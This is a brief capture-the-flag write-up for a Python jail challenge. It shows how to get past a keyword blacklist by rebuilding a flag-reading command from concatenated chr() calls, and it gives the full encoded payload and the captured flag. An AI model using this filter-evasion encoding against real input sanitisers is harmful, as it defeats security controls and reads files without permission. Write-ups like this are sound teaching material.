Rating:

All of the good functions are blacklisted. We'll have to pass in our payload character by character. We can read the flag normally with print(open("flag.txt", "r").read()), but typing these functions directly activates the blacklist. Instead, encode them as ascii characters, wrap them in chr(), and concatenate them. Here is a working payload, equivalent to the blacklisted solution above:

chr(112) + chr(114) + chr(105) + chr(110) + chr(116) + chr(40) + chr(111) + chr(112) + chr(101) + chr(110) + chr(40) + chr(34) + chr(102) + chr(108) + chr(97)+ chr(103) + chr(46) + chr(116) + chr(120) + chr(116) + chr(34) + chr(44) + chr(32) + chr(34) + chr(114) + chr(34) + chr(41) + chr(46) + chr(114) + chr(101)+chr(97) + chr(100) + chr(40) + chr(41) + chr(41)

The flag is texsaw{SP4P3GGY_4ND_M34TBA11S_aa17c6d30ee3942d}